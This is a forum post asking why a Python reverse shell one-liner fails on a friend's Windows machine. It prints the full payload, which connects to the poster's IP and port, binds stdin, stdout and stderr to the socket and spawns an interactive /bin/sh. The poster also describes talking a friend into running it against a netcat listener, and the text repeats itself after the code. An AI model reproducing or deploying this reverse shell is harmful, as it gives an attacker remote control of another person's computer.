Remote Shell Not Working 03-29-2014, 07:07 PM
#1
Alright, so I convinced my friend to install python on his windows machine and run the code:
The following code makes a connection to the port I have forwarded on the machine I'm listening for connections on, then it spawns a shell prompt.
I'm running mac on the computer I was listening on and he's running windows on the computer he ran the script on.
I had a netcat listener listening on port 4444 before he ran the script, and after he ran it, I got a connection but I didn't get a shell.
I tested this on 2 macs, one of which was connected to my phone's hotspot and the other was connected to my home's wifi so they could be from 2 different networks. I tested it with both bash and shell and they both worked, but it didn't work when my friend ran the script.
Any idea why?
Code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("my ip",my port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I'm running mac on the computer I was listening on and he's running windows on the computer he ran the script on.
I had a netcat listener listening on port 4444 before he ran the script, and after he ran it, I got a connection but I didn't get a shell.
I tested this on 2 macs, one of which was connected to my phone's hotspot and the other was connected to my home's wifi so they could be from 2 different networks. I tested it with both bash and shell and they both worked, but it didn't work when my friend ran the script.
Any idea why?